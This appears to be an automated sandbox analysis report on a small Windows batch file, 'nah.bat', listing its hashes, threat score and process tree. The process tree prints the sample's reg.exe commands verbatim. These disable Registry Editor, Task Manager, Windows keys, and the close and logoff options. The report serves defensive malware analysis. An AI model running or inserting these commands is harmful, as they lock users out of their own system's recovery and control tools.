541f58f781b6b3bba4a9a46ea5cb64bf2d84329676f104a8bda38476356ebb44

Analysis

max time kernel
58s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
17/05/2026, 04:31

Target
nah.bat
Size 1KB
Sample260517-e5nhlscs6y
SHA256 541f58f781b6b3bba4a9a46ea5cb64bf2d84329676f104a8bda38476356ebb44
MD5 2962cd5d5ff2b9a7ffdd27e8254455ca
SHA1 06107f6d0a0dd7597716a1c30b6829312aea9538
SHA512 22310c417f3f42d309fa0c1986390142f1e8f8a1388c6ccf254bf094ad44898d65f1c66832262be45ae89f40d8c619e4f97308a34e8b8ebbef9fa01979daec4b
TLSH
T16241ED9238145E16D191B6D1A4AF1490FFB3738B9C017FC8A9DA81547867784823EECF
MD5 SHA1 SHA512 TLSH

Score

8^/10

defense_evasion

Disables RegEdit via registry modification 1 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	reg.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3516 wrote to memory of 2248	3516	cmd.exe	85
PID 3516 wrote to memory of 1112	3516	cmd.exe	86
PID 3516 wrote to memory of 5032	3516	cmd.exe	87
PID 3516 wrote to memory of 3772	3516	cmd.exe	89
PID 3516 wrote to memory of 4728	3516	cmd.exe	90
PID 3516 wrote to memory of 2564	3516	cmd.exe	91

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\nah.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3516
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
  2⤵
  - Disables RegEdit via registry modification
  PID:2248
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoWinKeys /t REG_DWORD /d 1 /f
  2⤵
  PID:1112
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  PID:5032
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
  2⤵
  PID:3772
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoLogoff /t REG_DWORD /d 1 /f
  2⤵
  PID:4728
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v ShutdownWithoutLogon /t REG_DWORD /d 0 /f
  2⤵
  PID:2564